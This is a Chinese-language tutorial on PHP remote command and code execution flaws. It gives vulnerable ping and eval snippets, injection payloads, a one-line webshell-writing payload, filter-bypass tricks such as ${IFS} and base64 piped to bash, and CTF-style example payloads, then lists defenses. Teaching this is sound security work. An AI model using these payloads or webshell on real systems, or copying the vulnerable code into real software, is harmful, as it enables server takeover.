WEB常见漏洞之命令执行
字数 1527 2025-08-11 17:40:12
WEB常见漏洞之命令执行(RCE)漏洞详解与防御
0x01 漏洞概述
RCE(Remote Command/Code Execute)即远程命令执行/代码执行漏洞,允许攻击者直接向后台服务器注入操作系统命令或代码,从而控制后台系统。
0x02 漏洞实例分析
一、Ping命令注入漏洞
漏洞代码示例:
$ip=$_POST['ipaddress'];
if(stristr(php_uname('s'), 'windows')){
$result.=shell_exec('ping '.$ip); // 直接将变量拼接进来,未做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
漏洞利用:
- 测试基本功能:输入
127.0.0.1验证是否可以ping本地 - 尝试逻辑运算符利用(测试是否有过滤):
- Windows/Linux通用逻辑运算符:
|:管道符,前面命令标准输出作为后面命令的标准输入&:先运行命令A然后运行命令B||:运行命令A,如果失败则运行命令B&&:运行命令A,如果成功则运行命令B;(Linux):执行完A执行B
- Windows/Linux通用逻辑运算符:
Payload示例:
127.0.0.1|dir(Windows)127.0.0.1|ipconfig/all(Windows)127.0.0.1;ls -la(Linux)
二、eval函数代码执行漏洞
漏洞代码示例:
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
漏洞利用:
- 执行PHP代码:
txt=phpinfo();:显示PHP信息
- 上传后门木马:
txt=fputs(fopen('shell.php','w'),'<?php @eval($_POST["hack"]);?>');
- 使用中国蚁剑等工具连接后门
0x03 绕过技术
1. 空格绕过技术
<:重定向,如cat<flag.php<>:重定向,如cat<>flag.php%09:需要PHP环境,如cat%09flag.php${IFS}:如cat${IFS}flag.php$IFS$9:如cat$IFS$9flag.php
2. 黑名单绕过技术
拼接绕过:
a=c;b=at;c=flag;$a$b $ca=c;b=at;c=heb;d=ic;ab{c}{d}
编码绕过:
- Base64:
echo MTIzCg==|base64 -d(打印123)echo "Y2F0IC9mbGFn"|base64 -d|bash=>cat /flag
- Hex:
echo "636174202f666c6167" | xxd -r -p|bash=>cat /flag
引号绕过:
ca''t flag或ca""t flagca''t te""st.php
反斜杠绕过:
ca\t fl\agcat te\st.php
3. 绕过例题示例
例题1:
if(!preg_match("/flag|system|php|cat|sort|shell|i", $c)){
eval($c);
}
Payload:
?c=passthru("tac%09f*");
例题2(单行多命令执行):
$a=shell_exec("ping -c 4 ".$ip);
Payload:
?ip=x;cat flag.php
例题3(截断绕过):
system($c . " >/dev/null 2>&1");
Payload:
?c=cat f*%0a
0x04 漏洞防御
- 尽量避免执行外部命令:使用自定义函数或函数库代替外部命令功能
- 参数处理:使用
escapeshellarg()函数处理命令参数 - 安全模式:使用
safe_mode_exec_dir指定可执行文件路径 - 输入验证:
- 对用户输入进行严格过滤
- 使用白名单机制限制允许的字符
- 最小权限原则:Web服务器应以最低必要权限运行
- 禁用危险函数:如
eval()、system()、exec()等
0x05 总结
RCE漏洞危害极大,可能导致服务器完全沦陷。开发人员应:
- 避免将用户输入直接拼接到系统命令中
- 使用安全的替代方案实现功能
- 实施多层防御措施
- 定期进行安全审计和代码审查
通过理解漏洞原理、掌握攻击手法并实施有效防御措施,可以显著降低RCE漏洞的风险。